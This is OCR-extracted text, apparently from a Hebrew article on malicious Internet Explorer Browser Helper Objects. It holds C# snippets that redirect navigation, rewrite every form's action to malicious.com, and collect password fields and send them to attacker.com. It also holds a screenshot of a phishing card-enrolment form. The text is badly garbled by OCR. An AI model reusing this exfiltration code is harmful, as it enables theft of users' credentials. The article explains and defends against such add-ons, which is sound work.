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HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects
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2} Process Monitor - Sysinternals: www.sysinternals.com L =R ﬂ
Eile Edit Ewent Filter Tools Options Help
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Process Name FID Operation Path il
@ia}q}lore.exe 2004 ﬁHegOpenKey HKLM\SOFTWARE \Microsoft " Windows\CumrertVersion".Explorer.Browser Helper Objects
Eia:q:lore.exe 2004 ﬂF{egEnumKey HELM\SOFTWARE \Microsoft ' Windows\CumrentVersion".Explorer.Browser Helper Objects
@ie:q:lore.exe 2004 ﬁHegEnumKey HELMM\SOFTWARE \Microsoft " Windows\CumentVersion' Explorer.Browser Helper Objects
@ia}q}lore.exe 2004 ﬁF-!egEnumKey HKLM\SOFTWARE \Microsoft " Windows\CumrertVersion".Explorer.Browser Helper Objects
Eia:q:lore.exe 2004 ﬂF{egEnumKey HELM\SOFTWARE \Microsoft \Windows\CumrentVersion".Explorer.Browser Helper Objects
@ie:q:lore.exe 2004 ﬁHegEnumKey HELMSOFTWARE \Microsoft ' Windows\CumrentVersionExplorer.Browser Helper Objects
@ie:q:lore.exe 2004 ﬁF-!egEnuml{ey HELM\SOFTWARE \Microsoft ' Windows\CumrentVersion" Explorer.Browser Helper Objects
@ia:q:lore.exe 2004 ﬁF{egEnumKey HELM\SOFTWARE \Microsoft " Windows \CumentVersion".Explorer.Browser Helper Objects =
@ie:q:lore.exe 2004 ﬁHegEnumKey HELMSOFTWARE \Microsoft ' Windows\CumrentVersionExplorer.Browser Helper Objects 1
@ie:q:lore.exe 2004 ﬁF-!egEnuml{ey HELM\SOFTWARE \Microsoft ' Windows\CumrentVersion" Explorer.Browser Helper Objects
@ia:q:lore.exe 2004 ﬁF{egEnumKey HELM\SOFTWARE \Microsoft " Windows \CumentVersion".Explorer.Browser Helper Objects
@ie:q:lore.exe 2004 ﬁHegEnumKey HELMSOFTWARE \Microsoft ' Windows\CumrentVersionExplorer.Browser Helper Objects
@ie:q:lore.exe 2004 ﬁF-!egEnuml{ey HELM\SOFTWARE \Microsoft ' Windows\CumrentVersion" Explorer.Browser Helper Objects
@ia:q:lore.exe 2004 ﬁHegCloseKey HELM\SOFTWARE \Microsoft " Windows \CumentVersion".Explorer.Browser Helper Objects
@ie:q:lore.exe 2336 ﬁHegOpenKey HELM\Software \Microsoft Windows \CumentVersion\Explorer’.Browser Helper Objects
@ie:q:lore.exe 2336 ﬁF-!egEnuml{ey HELM\SOFTWARE \Microsoft ' Windows\CumrentVersion" Explorer.Browser Helper Objects
@ia:q:lore.exe 2336 ﬁF{egEnumKey HELM\SOFTWARE \Microsoft " Windows \CumentVersion".Explorer.Browser Helper Objects |
I @ie:q:lore.exe 2336 ﬁHegEnumKey HELMSOFTWARE \Microsoft ' Windows\CumrentVersionExplorer.Browser Helper Objects
@ie:q:lore.exe 2336 ﬁF-!egEnuml{ey HELM\SOFTWARE \Microsoft ' Windows\CumrentVersion" Explorer.Browser Helper Objects
@ia:q:lore.exe 2336 ﬁF{egEnumKey HELM\SOFTWARE \Microsoft " Windows \CumentVersion".Explorer.Browser Helper Objects
@ie:q:lore.exe 2336 ﬁHegEnumKey HELMSOFTWARE \Microsoft ' Windows\CumrentVersionExplorer.Browser Helper Objects
@ie:q:lore.exe 2336 ﬁF-!egEnuml{ey HELM\SOFTWARE \Microsoft ' Windows\CumrertVersion Explorer.Browser Helper Objects -
< | 1 | F
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public interface IObjectWithSite
{
[PreserveSig]
int SetSite ([MarshalAs (UnmanagedType.IUnknown) ]object site);

[PreserveSig]
int GetSite(ref Guid guid, out IntPtr ppvSite);
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$windir%\Microsoft.NET\Framework\v2.0.50727.
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http://172.21.0.30:10443/default.aspx
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|RegAsm.exe /unregister BHO.DLL
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public void OnBeforeNavigate2 (object pDisp, ref object URL, ref object
Flags, ref object TargetFrameName, ref object PostData, ref object
Headers, ref bool Cancel)
{
if (URL.ToString() == "http://www.google.com")
webBrowser.Navigate ("http://www.my google.com") ;

AWK Event Handler winm T 7y ,ni¥pnn NOWA IX ,VIN'RY? MITRD T 72V Dyxann It nopnn
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public void OnDocumentComplete (object pDisp, ref object url)
{
HTMLDocument htmDoc = (HTMLDocument)webBrowser.Document;
foreach (IHTMLElement iFormElem in htmDoc.forms)
{
iFormElem.setAttribute ("action", "http://www.malicious.com", 0);

}
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http://www.google.com/
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public void OnBeforeNavigate2 (object pDisp, ref object URL, ref object
Flags, ref object TargetFrameName, ref object PostData, ref object
Headers, ref bool Cancel)
{
StreamWriter sw;

sw = File.CreateText ("StolenData.txt");

String stolenCredentials = "";

HTMLDocument htmDoc = (HTMLDocument)webBrowser.Document;

foreach (IHTMLElement iFormElem in htmDoc.forms)

{
stolenCredentials = String.Format ("||Action:",
iFormElem.getAttribute ("action", 0), "[");
foreach (IHTMLInputElement inputElem in
(IHTMLElementCollection) iFormElem.children)

{
if (inputElem.type.TolLower () == "password")
stolenCredentials +=
String.Format ("Form Data:",
iFormElem.innerText, "||");
}

}

HttpWebRequest httpWebRequest =
(HttpWebRequest) WebRequest.Create ("http://www.attacker.com/getIt.php?dat
a=" + stolenCredentials);

httpWebRequest.GetResponse () ;
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& Tieiiied by Viea | MaterCard SecureCode | Enrollment - Microso... .= |0 %]

File. Edit “iew Favoitez Toole Help
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u Back - \} - I_j lﬂ ;‘] | /‘7‘ Search 35\\'(‘ Favorites {‘?| s “7—‘ E 3

Address [E] hips/ww SE———————— | ] o |Links >

Verified by MasterCard
VISA SecureCode

Verified by Visa / MasterCard SecureCode Enrollment:

Due to recent changes in FOIC Deposit Insurance Rules all our customers must be
enrolled in Yerified by Visa or MasterCard SecureCode program depending on type
ot your Check Card. To continue complete this form and click Activate How.

Social Security = - l_ -

Card Humber: (16 digits)
Expiration Date: I_ ;I_ (MIbArY"Y)

Signature Code: ~==im (Last 3 digits on the back)

Card Pl Code: I (4-6 digit code that you enter in AT

Choose Password: How will it be used?
Confirm Password: (6-12 characters lenth)

Activate Now |

If wou already enralled in Yerified by Visa or MasterCard SecureCode program to
continue please enter current password or select new then click Activate How.
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https://www.centurynetbank.com/index.cfm

DapnInn BHOs-n 72 nX (Disable) n'ant 7027 (N1 ' a1t BHO 0T ny'an nopnnn DRN 71Ima7 '

:(Tools->Manage Add-ons) NID0INN 7101 170 NN T 2V [9T9Tn 7

[ ™y
Manage Add-cns M

View and manage your Internet Explorer add-ons

Add-on Types Mame Publisher ) Status

& Toolbars and Extensions Control name is not available

P . AVG Safe Search Control name is not available Disabled

# 5earch Providers . - :
BHO_HelloWorld. BHO Control name is not available Disabled

Bl Accelerators SpiclE_Browser_Plugin2.SpiclE_Browser_Plugin2 Contrel name is not available Enabled

“§InPrivate Filtering SpiclE.SamplePlugin.SamplePlugin Contrel name is not available Disabled
SpiclE_test.SpiclE_test Contrel name is not available Disabled
hello_BHO hello_BHO Control name is not available Disabled
FDMIECookiesBHO Class Control name is not available Disabled
Sample Script Tool Menultern Control name is not available Disabled

Show:

shows Sample Script Help Menultem Contrel name is not available Disabled i

Currently loaded add-ons -

4 | 1 | 3

AVG Safe Search

Caontrol name is not available

Version: Type: Browser Helper Object

File date: Search for this add-on via default search provider

More information

Enable
Find more toolbars and extensions...
. Close
Learn more about toolbars and extensions
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